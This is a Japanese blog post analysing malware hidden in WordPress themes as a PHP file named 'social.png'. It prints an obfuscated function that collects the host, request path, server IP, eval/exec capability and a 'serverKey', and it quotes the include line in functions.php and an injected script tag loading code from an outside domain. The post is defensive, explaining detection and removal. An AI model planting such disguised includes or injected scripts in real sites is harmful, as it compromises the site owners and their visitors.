「social.png」の罠
WordPressのテーマの中に、マルウェアが仕込まれているという話もありますが、
その中で、ひとつ気になったのが「social.png」というファイルです。
拡張子を見る限り、画像ファイルのようですが、じつはこれ実体はPHPファイルです。
私自身も実際に入手する事に成功したので、ファイルを解析してみました。
ちなみに、このファイルは実体はPHPなので、
PHPをインストールしたウェブサーバーで開かない限りは、
PC上から普通に開いても問題はありません。
ただし、xamppを使用してウェブブラウザで開くのは、やめておいたほうがいいと思います。
ただし、このファイルはミニファイ化(改行などを除去して圧縮)されているので、
そのまま読むのは困難です。
というわけで、テキストエディタで「;」「{」「}」の後に改行を付けるように置換を行い、
少し読みやすく整形しました。
その中で気になったのが、以下の部分。
private function KZdGlovqEtKYUSCqSVnK(){ $oXyaqmHoChvHQFCvTluqmAC = array(); $oXyaqmHoChvHQFCvTluqmAC['host'] = $_SERVER['HTTP_HOST']; $oXyaqmHoChvHQFCvTluqmAC['page'] = $_SERVER['REQUEST_URI']; $oXyaqmHoChvHQFCvTluqmAC['ip'] = $_SERVER['SERVER_ADDR']; $oXyaqmHoChvHQFCvTluqmAC['eval'] = $this->YrCTrfUzBfsVJKvqiYUeFbc(); $oXyaqmHoChvHQFCvTluqmAC['exec'] = $this->KNstTqErzZQBDQOODaJdLv(); $oXyaqmHoChvHQFCvTluqmAC['serverKey'] = $this->BkISKDyWWRXScnLPbTlyI(); $oXyaqmHoChvHQFCvTluqmAC['run'] = 0; $oXyaqmHoChvHQFCvTluqmAC['ver'] = 0.2; $oXyaqmHoChvHQFCvTluqmAC['started'] = date('Ymd'); $oXyaqmHoChvHQFCvTluqmAC['last_connect'] = date('Ymd'); $this->WbKPQMoSbMZkXUeYKXRIk = $oXyaqmHoChvHQFCvTluqmAC; return $oXyaqmHoChvHQFCvTluqmAC; }
変数名や関数名はランダム文字に置き換えられているようですが、
注目するべきは、連想配列のプロパティ。
URLやサーバーのIPアドレスなどといった情報も含まれているようですが、
中でも「serverKey」という部分が異様に気になるところです。
このファイルですが、どこにあるかと言いますと、
テーマの「images」フォルダの中に、「social.png」として画像に紛れています。
そして、それを呼び出している部分が、「テーマのための関数(functions.php)」の
ファイルのどこかにinclude('images/social.png');
という部分があるはずです。
もしあれば、削除する事を推奨します。
もし削除せずに動作していれば、
<script src="//genericstts.com/init.min.js"/></script>
というコードが、ソースコードにまぎれているはずです。
このリンク先に置かれた「init.min.js」には、
この呼び出しコードを消去するためのコードが1行書かれてあるだけですが、
JavaScriptでは、大本のソースコードまでは消去できないので、
ページ上で右クリックし、「ページのソースを表示」等でソースを開き、
Ctrl + F検索をかけてみるといいでしょう。